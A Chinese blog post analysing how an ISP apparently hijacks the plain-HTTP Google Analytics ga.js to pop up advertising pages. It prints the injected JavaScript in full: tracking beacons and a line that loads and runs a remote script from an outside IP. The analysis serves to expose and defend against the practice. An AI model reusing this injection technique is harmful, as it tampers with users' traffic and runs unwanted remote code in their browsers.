深圳电信isp劫持www.google-analytics.com的ga.js来弹出广告窗口分析

本文链接：https://blog.csdn.net/Feng______/article/details/49500109

本文分析了一种现象：每次首次登录QQ时，浏览器会自动打开一个广告页面。通过抓包发现，ISP通过篡改Google Analytics的JS文件实现广告推送。文章详细解释了这一过程，并提供了屏蔽该行为的方法。

摘要由CSDN通过智能技术生成

现象

每天第一次登录QQ的时候的，浏览器就会自动打开，gd.189.cn的一个广告页面，特别烦如图呐

调查

通过抓取有登录数据包和分析包的数据。
其实和QQ没多大关系。
* QQ的登录与验证通地udp完成。
* 首次登录QQ弹出dailynews。（我用的是没广告的国际版）
* dailynews中包含一个www.google-analytics.com的ga.js
* 由于是普通的http。isp修改了这个ga.js。如下

 var _open_v5_ = new Object;
 _open_v5_.arrivalstat = 'http://172.18.18.6:81/stat.aspx?p=1446126023|5783462|72962|0|0|0';
 _open_v5_.stat = 'http://125.88.131.11:81/stat/img.php?p=1446126023|5783462|72962|0|0|0&param=ABioyajZGekprCz8jKys/MyM7JzcjOv87JzNGYm9mPkJOWnIaWm8LIzcbJzdmejZqenJCbmsLLy8/Mz8/ZjJCKjZyaio2TwoiIiNGYkJCY';
 _open_v5_.expires = 10;
 _open_v5_.param = "800|600|9";
 _open_v5_.oldurl = 'http://www.google-analytics.com/ga.js?cHVzaA=72962';
 _open_v5_.url = 'http://gd.189.cn/biz/push/201510/1027/sxts.htm?p=1446126023|5783462|72962|0|0|0&param=ABioyajZGekprCz8jKys/MyM7JzcjOv87JzNGYm9mPkJOWnIaWm8LIzcbJzdmejZqenJCbmsLLy8/Mz8/ZjJCKjZyaio2TwoiIiNGYkJCY';
 window.setTimeout(function() {
     var a = document.createElement("script");
     a.src = _open_v5_.oldurl;
     document.getElementsByTagName("head")[0].appendChild(a);
 }, 0);
 window.setTimeout(function() {
     var
         a = document.createElement("script");
     a.src = "http://121.15.207.29:1010/openV5.js?r=" + Math.random();
     document.getElementsByTagName("head")[0].appendChild(a);
 }, 0);